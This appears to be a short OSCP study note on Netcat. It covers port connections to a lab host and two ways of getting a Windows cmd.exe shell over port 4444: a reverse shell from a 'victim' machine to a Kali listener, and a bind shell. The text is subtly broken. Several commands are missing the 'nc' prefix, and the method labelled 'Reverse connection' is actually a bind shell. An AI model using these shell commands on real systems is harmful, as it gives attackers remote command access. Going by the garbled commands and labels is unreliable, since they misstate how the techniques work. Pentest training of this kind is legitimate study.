OSCP Security Technology - Netcat
Netcat
Download Netcat for windows from following website.
https://eternallybored.org/misc/netcat/
nc -nv 192.168.2.28 443
nc -nv 192.168.2.28 80
nc -nv 192.168.2.28 111
nc -nv 192.168.2.28 112
Method 1
Listen on port 4444
Kali Linux:
nc -nvlp 4444
Windows (Victim computer)
-nv 192.168.2.24 4444 -e cmd.exe
Kali: Established the connection.
Method 2
Reverse connection.
-nvlp 4444 -e cmd.exe
nc -nv 192.168.2.31 4444